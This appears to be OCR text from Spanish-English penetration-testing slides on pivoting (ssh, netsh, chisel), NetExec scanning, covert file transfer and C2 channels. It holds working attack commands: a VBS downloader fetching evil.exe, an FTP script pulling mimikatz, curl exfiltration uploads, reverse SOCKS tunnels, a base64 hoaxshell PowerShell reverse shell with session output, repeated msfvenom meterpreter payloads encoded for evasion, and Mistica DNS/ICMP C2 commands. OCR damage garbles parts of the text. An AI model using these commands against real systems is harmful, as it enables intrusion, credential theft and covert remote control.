https://ethicalhackneox.wordpress.com/2016/01/06/aprendiendo-a-hacer-pivoting-fase-de-post-explotacion/
https://www.tutorialspoint.com/metasploit/metasploit_pivoting.htm
https://www.tutorialspoint.com/metasploit/metasploit_pivoting.htm

PIVOTING :: ssh port forwarder

https://deephacking.tech/que-es-el-pivoting/

ssh -L 1234:10.10.33.14:80 attacker@192.168.1.13 -fN

La explicacion de este comando es muy simple: El indicador -L especifica que vamos a establecer un oyente dirigido al
puerto a continuacién. En este ejemplo usamos el puerto 7234, es decir, que nuestro puerto local 7234 tendra una
redireccidén al puerto 80 de 70.10.33.14, pero como sabemos que no tenemos alcance directo, usaremos la direccién IP
192.168.1.13 como intermediario.

El indicador —f pide que todo esto se ejecute en segundo plano, para poder seguir escribiendo comandos. La bandera -N
ordena no ejecutar comandos remotos, solamente que abra la conexién.

Para ello necesitamos las credenciales de acceso a SSH de dicha maquina, o en su defecto, una llave privada, ya sea del
tipo RSA, ECDSA, Ed25519 o de cualquier otro tipo.

Hay mas metodos y herramientas, sin embargo, es bueno saber hacer las cosas sin herramientas primero, para ganarse el
mérito. Por ultimo, recomiendo visitar la sala de Tryhackme Wreath, ya que hay mas informacién acerca de este tema,
ademas de pivoting con herramientas como sshuttle, chisel, socaty mas.



https://deephacking.tech/que-es-el-pivoting/
https://tryhackme.com/room/wreath

Options  Logs i
Port: E
URL:

\
ssLport: |84
sSLURL: | ht

[JLaunch ser

Filter mode:

(O Do not use IP Filter

(® Do not accept connections from specified IP addresses.
(O Only accept connections from specified IP addresses.

Cancel

[Chat Server is online] 7 [SSL Server is online]

1y
xr

=y

e @
L

. 029
AT Gonn: BB

= I] @ [#] ctrl Derec



PIVOTING :: netsh port forwarder

¥ FoxyProxy Standard—C: X | 192.168.1.40:8080/ X Easy Chat Server x @ FoxyProxy Options X ( Problem loading page X

< C @ O A 192.168.1.40:8080 R <

KaliLinux 8 Kali Tools « KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

403 IP Forbidden




PIVOTING :: netsh port forwarder

C:\Windows\system32>
Aceptar

C:\Windows\system32>

C:\Windows\system32>netsh interface portproxy show v4tov4
Escuchar en ipv4: Conectar a ipv4:

Direccion Puerto Direccion Puerto

0.0.0.0 8777 192.168.1.40 8080



PIVOTING :: netsh port forwarder

€« > C @ O & 192168.1.40:8777 200% ¢ 9O ¢

KaliLinux # KaliTools # KaliDocs N Kali Forums X Kali NetHunter = Exploit-DB % Google Hacking DB # OffSec

[Register] [Search] [Refresh]
Rooms: 4 Online users: 0

ﬂ Password: Cener female male

Confidential

Room Online users Administrators
first chat room 0 admin
let's talk about love admin,Lisa
football Jackson,fire

Vip room admin,David,Lisa

Copyright© 2004 All right reserved.
Easy Chat Server




PIVOTING :: chisel

Chisel es una herramienta disenada para facilitar el pivoteo en situaciones de hacking ético y pruebas de
penetracién. La funcion principal de Chisel es proporcionar una forma segura y eficiente de crear tuneles TCP
a través de conexiones reversas y directas, lo que permite redirigir trafico de red a través de maquinas
intermedias.

Usos Practicos:

e Pivoteo lateral: Permite a los profesionales de seguridad moverse lateralmente a través de la red, explorando y
comprometiendo sistemas adicionales.

e Sorteo de restricciones de red: Ayuda a sortear restricciones de firewall y acceder a servicios internos de la
red comprometida.

e Exfiltracion de datos: Facilita la transferencia segura de datos desde la red comprometida hasta la maquina
atacante.

https://qithub.com/shantan
u561993/SharpChisel/rele
https://github.com/jpillora/chisel#demo ases/taqg/v1.1



https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1
https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1
https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1
https://github.com/jpillora/chisel#demo

PIVOTING :: chisel

Chisel

HTTP
Client 1 TCP /HTTP / WebSocket / SSH Layers

=
-

SSH Channel (Logical TCP Connection) - - :
TCP Server & 1 l‘ .
I

to Endpoint 1 SSH Channel (Logical TCP Connection)

SSH Channel (Logical TCP Connection) l~ <
-~

TCP Server
to Endpoint 2

Chisel
HTTP
Server

Chisel
HTTP
Client 2

TCP / HTTP / WebSocket / SSH Layers

TCP Server SSH Channel (Logical TCP Connection)
to Endpoint 2

SSH Channel (Logical TCP Connection)

TCP Server SSH Channel (Logical TCP Connection) https://qithub.com/shantan
it ' u561993/SharpChisel/rele

— ases/tag/v1.1



https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1
https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1
https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1

PIVOTING :: chisel

chisel

hack bank

o g'l\le
; s s : 0
go get -v github.com/jpillora/chisel G

# forward port 389 and 88 to hacker computer
user@hacker$ /opt/chisel/chisel server -p 8008 --reverse
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389

# SOCKS
user@victim$ .\chisel.exe client YOUR_IP:8008 R:socks

SharpChisel
A C# Wrapper of Chisel : http
user@hacker$ ./chisel server -p 8080 --key "private" --auth "user:pass" --reverse --proxy "https://www.google.com" =

server : run the Server Component of chisel
-p 8080 : run server on port 8080

--key "private": use "private" string to seed the generation of a ECDSA public and private key pair
--auth "user:pass" : Creds required to connect to the server

--reverse: Allow clients to specify reverse port forwarding remotes in addition to normal remotes. . H
--proxy https://www.google.com : Specifies another HTTP server to proxy requests to when chisel receives a normal HTTP request. r1ttr)s;'//(1|tr1ljt)'(:()rT1/E;r]Eir1tEir1

u561993/SharpChisel/rele
ases/taqg/v1.1

user@victim$ SharpChisel.exe client --auth user:pass https://redacted.cloudfront.net R:1080:socks



https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1
https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1
https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1
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The network execution tool

Maintained as an open source project by @NeffIsBack, @aMJHallenbeck, @_zblurx

For documentation and usage examples, visit: https://ww.netexec.wiki/
1.0.0

A New Beginning

options:
-h, —help
-t THREADS
—timeout TIMEOUT
—jitter INTERVAL

——no-progress

show this help message and exit

set how many concurrent threads to use (default: 100)

max timeout in seconds of each thread (default: None)

sets a random delay between each connection (default: None)
Not displaying progress bar during scan

-—verbose enable verbose output
—debug enable debug level information
-——version Display nxc version

protocols:
available protocols

{smb,wmi, rdp,mssql,winrm,ssh,vnc,ldap,ftp}

smb own stuff using SMB
wmi own stuff using WMI
rdp own stuff using RDP
mssql own stuff using MSSQL
winrm own stuff using WINRM
ssh own stuff using SSH
vnc own stuff using VNC
ldap own stuff using LDAP
ftp own stuff using FTP

@ Julian David Delgado... « 2°

Crackmapexec deja de mantenerse

8+ Conectar X

Ahora tenemos una nueva herramienta con
capacidades adicionales llamada NetExec.

- 2Self and S4U2Proxy

- Abuso de Constrained Delegation

- Modulo de tareas programadas

- Modulo de bloodhound con computer accounts
- Modulos de enumeracién FTP, LDAP, winrm, SQL,
SMB, entre otros.

- Vulnerabilidades conocidas como printnighmare,
zerologon, ms17-010, petitpotam, NoPac, etc.

- Robo de cookies.

€O 197

D S 9

Recomendar Comentar Compartir Enviar

Mas relevantes ¥

@ Diego Bruno - 2°
cial

What a pitty, crackmapexec was a beatifull
tool. Thank for sharing an alternative Julian!

\er tracdhiicridAn



COMUNICATE TO PWN :: NXC

https://github.com/PennywOrth/NetExec/releases/download/v1.1.0/nxc

(base) —( ' )-[~/Documents |
L-$ sudo ./nxc -t 10 ssh 192.168.8.185/24
192.168.8.1 22 192.168.8.1 SSH-2.0-dropbear
Running nxc against 256 targets 0:00:53

{mssql,ldap,vnc,ssh,winrm, ftp,rdp,wmi,smb}

mssql own stuff using MSSQL
ldap own stuff using LDAP
vnc own stuff using VNC
ssh own stuff using SSH
winrm own stuff using WINRM
ftp own stuff using FTP
rdp own stuff using RDP
wmi own stuff using WMI

smb own stuff using SMB


https://github.com/Pennyw0rth/NetExec/releases/download/v1.1.0/nxc

COMUNICATE TO PWN :: COVERT CHANELS

Victim

echo strUrl = WScript.Arguments.Item(0) > wget.vbs

echo StrFile = WScript.Arguments.Item(1) >> wget.vbs

echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs

echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs

echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
# Listen to files echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
python3 -m uploadserver echo Set http = Nothing >> wget.vbs
# With basic auth: echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.\
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
# Send a file echo http.Open "GET", strURL, False >> wget.vbs

echo http.Send >> wget.vbs

python3 -m pip install --user uploadserver

# python3 -m uploadserver --basic-auth hello:woxrld

curl -X POST http://HOST/uPload -H -F 'files=@file.txt' echo varByteArray = http.ResponseBody >> wget.vbs
# With basic auth: echo Set http = Nothing >> wget.vbs
# curl -X POST http://HOST/uploacl -H -F 'files=@file.txt' -u he echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs

echo Set ts = fs.CreateTextFile(StxFile, True) >> wget.vbs

echo strData = >> wget.vbs

""" >> wget.vbs

echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs

echo ts.Write Chx(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs

echo ts.Close >> wget.vbs

echo strBuffer =

cscript wget.vbs http://10.11.0.5/evil.exe evil.exe



COMUNICATE TO PWN :: COVERT CHANELS

FTP server (python) Windows client
pip3 install pyftpdlib #Work well with python. With pure-ftp use fusr:ftp
python3 -m pyftpdlib -p 21 echo open 10.11.0.41 21 > ftp.txt

echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt

echo bin >> ftp.txt

echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt

ftp -n -v -s:ftp.txt
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Kali as server

kali_op1> impacket-smbserver -smb2support kali ‘pwd' # Share current directory

kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Winl® versions
impacket-smbserver -smb2support -user test -password test test ‘pwd’

Or create a smb share using samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Windows

CMD-Wind> \\10.10.14.14\path\to\exe

CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

: © COVERT CHANELS

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kal:

WindPS-2> cd new_disk:
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https://github.com/t3I13machus/hoaxshell

[Info] Generating reverse shell payload ...

powershell -e JABzADOAJwWAXADKAMgAUuADEANgA4AC4AMQAUADQAMWAB6ADgAMAA4ADAAIWA7ACQAaQA9ACCAYQBMADAAMWAYADYANEBMACOAMABMADYAMQA2ADMAZAATIACOAMABiADMAOQA4ADKAOQBMACC
AOWAKAHAAPQANAGgAdABOAHAAOgAVACBAIWA7ACQAdgA9AEKAbgB2AG8AawB LACOAVWBTAGIAUgB1AHEAdQBTAHMAJAAgGACOAVQBZzAGUAQgBhAHMAaQB jAFAAYQBYAHMAaQBUAGCATAATAFUACgBpACAAJABW
ACQAcwAVAGEAZgAwWADMAMgA2ADYAZgAgACOASABLAGEAZABTAHIACWAEAEAAewAiAFgALQBLADYAMWBhACOAZAA2AGEAYQAIADOAIABPAHOAOWB3AGEAaQBSAGUAIAAOACQAdABYAHUAZQApPAHSAJABJADOAK
ABJAG4AdgBVAGSAZQAtAFCcAZQBiAFIAZQBXAHUAZQBzAHQATIAAtAFUACWBTAEIAYQBzAGKAYWBQAGEACgBzAGKAbgBnACAALQBVAHIAaQAgACQACAAKAHMALWAWAGYANEAXADYAMwWBKADUAIAAtAEEAZQBhAG
QAZQByAHMAIABAAHSAIgBYACOAZQAZADMAYQAtAGQANgBhAGEAIgA9ACQAaQB9ACkALgBDAG8AbgBOAGUAbgBOADSAaQBmACAAKAAkAGMAIAAtAG4AZQAgACCATgBVAG4AZQAnACkAIAB7ACQAch9AGkAZQB
4ACAAJABJACAALQBFAHIACgBVAHIAQQBjAHQAaQBVAG4ATABTAHQAbWBWACAALQBFAHT =~ e R
dABPAGIAagBlAGMAdAAGACQACEA7ACQAAAIAEKAbgB2AG8AaWBTACOAVWBLAGIAUgB Encrypted shell session (https + self-signed certificate)
FAATWBTAFQAIAAtAEgAZQBhAGQAZQBYAHMATABAAHSAIgBYACOAZQA2ADMAYQATAGQA

BpAG4AZwWBAADOAOgBVAFQARgA4ACLARWBTAHQAQEB5AHQAZQBZACEAIABLACSAIJABYA( This particular payload is kind of a red flag, as it begins with an additional block of code that instructs PowerShell to
[Info] Type "help" to get a list of the available prompt commands. skip SSL certificate checks, which makes it suspicious and easy to detect as well as significantly longer in length. Not
[Info] Http Server started on port 8080. ecommendad:

[Important] Awaiting payload execution to initiate shell session...

[Shell] Payload execution verified!

[Shell] Stabilizing command prompt ... # Generate self-signed certificate: 3
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

PS C:\Users\Juan > ipconfig

Configuraci()n IP de Windows # Pass the cert.pem and key.pem as arguments:

sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>

Adaptador de Ethernet Ethernet:

Sufd o NS | esnectiteoipars Hlaicaner on. Encrypted shell session with a trusted certificate

Vinculo: direccion IPv6 local. . . : fe80::ba87:dff8:e5al1:9d42%1!
Direccion IPv4. . . . . . . . . . . . . . : 192.168.1.40 If you own a domain, use this option to generate a shorter and less detectable https payload by providing your DN
M o} bred 255.255:255¢0 y P 9 el yPp 9y
ascara de subred . . . . . S0 A A D8 . ‘ . i i . B
Puerta de enlace predetermlnada 192 51 6801 Vities alangwith o tnsted certifient= Geeert Py K pOVkay et
[Important] Session has been idle for more than 10.8 seconds. Shell sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem> i8]

& [0 5@ @ @) ctrl Derecho



https://github.com/t3l3machus/hoaxshell
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https://qithub.com/t313machus/hoaxshell

[Info] Generating reverse shell payload ...
powershell -e JABzADOAJIwAXADKAMgAUADEANgA4AC4AMQAUADQAMEAEARSAMALLARAL 1
AOwAKAHAAPQANAGgAdABOAHAAOgAVAC8AIWA7ACQAdgA9AEKAbgB2 EN Windows PowerShell

ACQACWAVAGEAZgAWADMAMgA2ADYAZgAgACOASABLAGEAZABLAHIACPS C:\Users\Juan> powershell -= JABzAD@AJwAXADKAMgAuADEANZA4ACAAMOAUADQAMWABADZAMAASADAAIWA7ACQAZQAIACCAYQBMADAAMWAYADYA
ABJAG4AdgBVAGSAZQAtAFCcAZQBiAFIAZQBXAHUAZQBZAHQATIAAtAFNgBmAC@AMABMADYAMQA2ADMAZAATACBAMAB 1 ADMAOQA4ADKAOQBMACCAOWAKAHAAPQANAGEZAABBAHAAOZAVACBATWA7ACQAdZAIAEKADEB2AGBAaNB1ACEA
QAZQByAHMAIABAAHSAIgBYACQAZQAZADMAYQAtAGQANgBhAGEAIgAVwBlAGIAUgBlAHEAdQBlAHMAdAAgACGAVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAAtAFUAchpACAAJABwACQAchvAGEAZgAwADMAMgAZADYA
£ : 7gAgACBASABIAGEAZABLAHIACWAZAEAAeWA AFgALQB1ADYAMWBhAC@AZAA2AGEAYQAAD@AIABPAHBAOWB3AGEAaQBSAGUATAACACQAdABYAHUAZQAPAHSA
4ACAAJABJACAALQBFAHIACEBVAHIAQQBJAHQAAQBVAGHATABTAHQAL L5, o i p ) AGAAdEBYAGSAZQALAF CAZQB 1 AF TAZQBXAHUAZQBZAHQATAAL AFUACWE 1 AE TAYOB ZAGKAYWBQAGEAC 2B2AGKADZBNACAALOBVAHT AaQAZACOA
dABPAGIAagBlAGMAdAAEACQACEA7ACQAdAAIAEKADEB2AGBAAWB LA p aiAHMAL wAWAGYANZAXADYAMWBKADUATAALAE AZQBhAGQAZQBY AHMATABAAHSAT gBYAC@AZQA2ADMAYQA AGQANEBhAGEAT ZASACQAaQBIACKAL cBDAGSA
FAATWBTAFQAIAAtAEgAZQBhAGQAZQBYAHMATABAAHSATIEBYACOAZQpgBOAGUADEBRADSAaQBMACAAKAAKAGMATAALAGAAZQAEACCAT gBVAGAAZQANACKATAB7ACQACEAIAGKAZQBAACAAIABFACAALQBFAHIACEBVAHIAQQBFAHQA
BpAG4AZwBdADOAOZBVAFQAREA4ACLARWBTAHQAQEB5AHQAZQBZACE 2QBVAGAATABTAHQAbWBWACAALQBFAHIACEBVAHIAVEBhAHIAZQBhAGIADABLACAAZQA7ACQACEAIAEBAdQBOACOAUWBBAHIAZQBUAGCATAALAEKADEBWAHUA
[Info] Type "help” to get a list of the available prodABPAGIAagBlAGMAAAEACQACEA7ACQACAAIAEKADEB2AGEAAWBLACEAVWB1AGIAUEB1AHEAIQBAHMADAAEACOAVOBYAGKATAAKAHAAIABZACBAMABLADHA
[PReallliiin sorver scaniad oh port suse OQA4ADKAOQBMACAALQBNAGUAdABOAGBAZAAZAFAATWBTAFQATAAtAEEAZQBhAGQAZQBYAHMATABAAHSATgBYACBAZQA2ADMAYQAAGQANEBhAGEATZAACQA
e e aQBIACAALQBCAGSAZABSACAAKABDAFMAEQBZAHQAZQBLACAAVABL AHEAdAAUAEUADEBJAGBAZABPAGAAZWBAADOAOZBVAFQAREA4ACAARWE1AHQAQEB5AHOA
[Important] Awaiting payload execution to initiate Sh;op;accAIABIACSAIABYACKATAAtAGOADWBPAGAATAANACAATWAPAH@ATABZAGWAZOB]AHAATAAWACAAOABIAA==
[Shell] Payload execution verified! PS C:\Users\Juan>

[Shell] Stabilizing command prompt ...

PS C:\Users\Juan > ipconfig
Configuracion IP de Windows

Adaptador de Ethernet Ethernet:

Sufijo DNS especifico para la conexion.

Vinculo: direccion IPv6 local. . . : fe80::ba87:dff8:e5al:9d42%14
Direccion IPV4.: « « « « « &« « &« « « &« « &« = 192.168.1.40
Mascarajde subred . « & 4 4 4 W s e e s s 2 255.255.255.0

Puerta de enlace predeterminada . . . . . : 192.168.1.1

[Important] Session has been idle for more than 10.8 seconds. Shell probably died.

B & E W )@ @ ctrl Derecho
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https://github.com/tcostam/awesome-command-control
https://github.com/k8geqge/PowerLadon
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msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
-b "\x00\x0a\x0d" -f ¢ -e x86/shikata_ga_nai -i 5 EXITFUNC=thread PrependSetuid=True -f exe >
reverse.exe
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/msfvenom

https://github.com/tcostam/awesome-command-control
https://github.com/k8gege/PowerlL.adon
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msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
-b "\x00\x0a\x0d" -f ¢ -e x86/shikata_ga_nai -i 5 EXITFUNC=thread PrependSetuid=True -f exe >
reverse.exe
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/msfvenom

https://github.com/tcostam/awesome-command-control
https://github.com/k8gege/PowerlL.adon
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msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
-b "\x00\x0a\x0d" -f ¢ -e x86/shikata_ga_nai -i 5 EXITFUNC=thread PrependSetuid=True -f exe >
reverse.exe

https://book.hacktricks.xyz/generic-methodologies-an

d-resources/shells/msfvenom - )

https://arszilla.com/hiding-your-c2-tr
affic-with-discord-and-slack

https://github.com/berkgoksel/SierraOne
https://github.com/berkgoksel/SierraTwo , ,
https://github.com/machine1337/gmailc2 Attacker

https://github.com/tcostam/awesome-command-control
https://github.com/k8geqge/PowerLadon
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https://github.com/tcostam/awesome-command-control
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/msfvenom
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/msfvenom
https://github.com/berkgoksel/SierraOne
https://github.com/berkgoksel/SierraTwo
https://github.com/machine1337/gmailc2
https://arszilla.com/hiding-your-c2-traffic-with-discord-and-slack
https://arszilla.com/hiding-your-c2-traffic-with-discord-and-slack
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msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
-b "\x00\x0a\x0d" -f ¢ -e x86/shikata_ga_nai -i 5 EXITFUNC=thread PrependSetuid=True -f exe >
reverse.exe
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/msfvenom

ip.addr == 172.16.246.129 && http

No. Time Source Destination Protocol Length Info

3433 310.536561019 172. .246. 172.16.246.24 HTTP 263 GET /login/process.php HTTP/1.

3437 310.555168878 172.16.246. 24 172.16.246. HTTP 56 HTTP/1.0 200 OK (text/html)

3447 314.283766461 172.16.246. 172.16.246. 24 HTTP 263 GET /login/process.php HTTP/1.

3451 314.295182147 172.16. . 172.16.246. HTTP 56 HTTP/1.0 200 OK (text/html)

3461 315.411710059 172.16.246. 172.16.246. HTTP 254 GET /news.php HTTP/1.1

3465 315.419522981 172.16.246. 172.16.246. 56 HTTP/1.0 200 OK (text/html)
315.598534947 172.16.246. 172.16.246. 24 254 GET /news.php HTTP/1.1
315.607394356 172.16.246.2¢4 172.16.246. 56 HTTP/1.0 200 OK (text/html)
319.318361394 172.16. f 172.16.246. 24 259 GET /admin/get.php HTTP/1.1
319.334592059 172.16.246.24 172.16.246. 56 HTTP/1.0 200 OK (text/html)
320.446013906 .16. A .16.246. 263 GET /login/process.php HTTP/1.
320.454869302 <165 St .16.246. 56 HTTP/1.0 200 OK (text/html)
320.632165592 .16.246. .16.246. 24 263 GET /login/process.php HTTP/1.
320.648280996 s167% . 185 Bs 56 HTTP/1.0 200 OK (text/html)

https://github.com/tcostam/awesome-command-control
https://github.com/k8geqge/PowerLadon



https://github.com/k8gege/PowerLadon
https://github.com/tcostam/awesome-command-control
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/msfvenom

COMUNICATE TO PWN :: C2 CHANELS

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
-b "\x00\x0a\x0d" -f ¢ -e x86/shikata_ga_nai -i 5 EXITFUNC=thread PrependSetuid=True -f exe >
reverse.exe
https://book.hacktricks.xyz/generic- - -

methodologies-and-resources/shell . S tea s iy e e |
s/msfvenom oA T e i

DNS 1 Standard

[ip.addr == 162.159.128.233
ip.addr == 172.16.246.129 && http § Time T Length Info

NG Time = Destination 52 6.283811 192.168.0. .159.128.233 66 49844 » 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=|
TR TR SR T T e T T 53 6.344826 162.159.128. 92.168.0.12 66 443 > 49844 [SYN, ACK] Seq= Ack=1 Win=65535 Len=0 M
3437 310.555168878 172.16.246.24 172.16.246. 54 6.344960 -168.0. -159.128.233 54 49844 > 443 [ACK] Seq=1 Ack=1 Win=263168 Len=0 |
3447 314.283766461 172.16.246. 172.16.246. 24 55 6.347533 -168.0. -159.128.233 -3 s7riClient Hello e
3451 314.295182147 172.16. D 1724 .246. 56 6.408875 .159. .233 92. .0.12 60 443 44 [ACK] Seq=1 Ack=518 Win=67584 Len=0
3461 315.411710059 172.16.246. 172.16.246. 57 6.410808 .159. .233 : .0.12 vl.3 1514 Server Hello, Change Cipher Spec
3465 315.419522981 172. .246. 172. .246. 58 6.410956 .159. . 3 92. .0.12 / 3 1095 Application Data

315.598534947 172.16.246. 172.16.246. 24 59 6.411019 92.168.0. .159.128.233 54 49844 -+ 443 [ACK] Seq=518 Ack=2502 Win=263168 Len=0
315.607394356 172.16.246.2¢4 172.16.246. 60 6.418306 .168.0. 62. .128.233 - 134 Change Cipher Spec, Application Data
319.318361394 172.16.246. 172.16.246. 2 61 6.419557 .168.0. 62.159.128.233 vi.3 390 Application Data

319.334592059 172.16.246.24 172.16.246. 62 6.477730 .159.128.233 92.168.0.12 60 443 > 49844 [ACK] Seq=2502 Ac in=67584 Len=0
320.446013906 -16.246. -16.246. } 6.480533 .159. 3 .168.0.12 60 443 » 49844 [ACK] Seq=2502 Ac 8608 Len=0

320.454869302 172.16.246.24 .16.246. S eriiom e s
320.632165592
320.648280996

1514 Application Data
6.675460 62.159. - - .0.12 vl. 350 Application Data
.675460 .159. .233 92. .0.12 123 81 Application Data
6.675563 .168.0. . .128.233 54 49844 » 443 [ACK] Seq=934 Ack=4285 Win=263168

https://github.com/tcostam/awesome-command-control
https://github.com/k8geqge/PowerLadon
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https://github.com/IncideDigital/Mistica

MISTICAH

https://github.com/tcostam/awesome-command-control
https://qithub.com/k8geqge/PowerLadon
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Docker

A Docker image has been created for local use. This avoids us having to install Python or dnslib only if we want to test
the tool, it is also very interesting for debug or similar because we avoid the noise generated by other local

https //q |th u b Com/l nCIdeDIQ |ta|/M Istlca applications. To build it we simply follow these steps:

e First build image with:

sudo docker build --tag mistica:latest . (i)

e Second, create the network with:

sudo docker network create misticanw ﬂ;

e Third run the server with:

A ‘ sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it 3D i
~ . « >
M l S ' : ' CH e Fourth run the client with:
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash i)

https://github.com/tcostam/awesome-command-control
https://qithub.com/k8geqge/PowerLadon
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(base) —(kali®kali)-[~]

L—$ git clone https://github.com/IncideDigital/Mistica

Cloning into 'Mistica’ ...

remote: Enumerating objects: 264, done.

remote: Counting objects: 100% (264/264), done.

remote: Compressing objects: 100% (153/153), done.

remote: Total 264 (delta 118), reused 238 (delta 95), pack-reused 0
Receiving objects: 100% (264/264), 1.70 MiB | 3.82 MiB/s, done.
Resolving deltas: 100% (118/118), done.

(base) r——(kalit?kaﬂi)—[~]
¢ cd Mistica

(base) r——(hﬁiic)naﬁi)-[~/Mistica]

L$ sudo docker build --tag mistica:latest .
[sudo] password for kali:

Sending build context to Docker daemon  3.99MB
Step 1/5 : FROM python:3.7

3.7: Pulling from library/python

167b8a53ca45: Pull complete

https://github.com/tcostam/awesome-command-control
https://qithub.com/k8geqge/PowerLadon

root@be3c12039daf:/opt/Mistica/Mistica#
pip install pyinstaller

https://www.python.org/downloads/r

elease/python-370/



https://github.com/k8gege/PowerLadon
https://github.com/tcostam/awesome-command-control
https://www.python.org/downloads/release/python-370/
https://www.python.org/downloads/release/python-370/
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threading.py'>
Traceback (most recent call last):
File "/usr/local/lib/python3.7/threading.py", line 1273, in _shutdown
t.join()
File "/usr/local/lib/python3.7/threading.py", line 1032, in join
self. wait_for_tstate_lock()
File "/usr/local/lib/python3.7/threading.py", line 1048, in _wait_for_tstat
e_lock
elif lock.acquire(block, timeout):
KeyboardInterrupt

CERD) F__( )-[~/Mistica]

L python3.7 ./mc.py -m shell:dns -k "rc4testkey" -w "--hostname 192.168.8.1

85 --port 53"¢

usage: dns [-h] [--domain DOMAIN] [--hostname [HOSTNAME [HOSTNAME ... ]1]]
[--port PORT] [--query {NS,CNAME,SOA,MX,TXT}]
[--query-timeout QUERY_TIMEOUT] [--multiple] [--max-size MAX_SIZE]
[--poll-delay POLL_DELAY] [--response-timeout RESPONSE_TIMEOUT]
[--max-retries MAX_RETRIES]

dns: error: argument --port: invalid int value: '53¢'

(base) —(k )-[~/Mistica]

L-$ python3.7 ./mc.py -m shell:dns -k "rc4testkey" -w "--hostname 192.168.8.1

85 --port 53"

C2 CHANELS

(base) —( i)-[~/Mistica]
sudo python3.7 ./ms.py -m io:dns -k "rc4testkey" -s "--hostname 192.168.8
.185 --port 53"
dir
build Dockerfile 1logs mc.spec ms.py README.md utils
dist LICENSE mc.py mistica.png overlay sotp wrapper
ipa

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gqdisc noqueue state UNKNOWN group def
ault qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
inet6 ::1/128 scope host
valid_1ft forever preferred_1ft forever
2: eth0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DO
WN group default glen 1000
link/ether 08:00:27:c7:e1:36 brd ff:ff:ff:ff:ff:ff
3: ethl: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP g
roup default glen 1000
link/ether 08:00:27:58:96:6¢c brd ff:ff:ff:ff:ff:ff
inet 192.168.8.185/24 brd 192.168.8.255 scope global dynamic noprefixrout
e ethl
valid_1ft 42002sec preferred_lft 42002sec
inet6 fe80::676c:a984:5fb0:cb6b/64 scope link noprefixroute

B @ §] & @) ctrl Derecho



COMUNICATE TO PWN :: C2 CHANELS

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
-b "\x00\x0a\x0d" -f ¢ -e x86/shikata_ga_nai -i 5 EXITFUNC=thread PrependSetuid=True -f exe >

reverse.exe
https://github.com/IncideDigital/Mistica

e Executing commands on client system over ICMP:

o Mistica Server: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface ethe"

o Mistica Client: ./mc.py -m shell:icmp -k "rc4testkey"” -w "--hostname x.x.x.x"

https://github.com/tcostam/awesome-command-control
https://github.com/k8gege/PowerlL.adon



https://github.com/k8gege/PowerLadon
https://github.com/tcostam/awesome-command-control
https://github.com/IncideDigital/Mistica

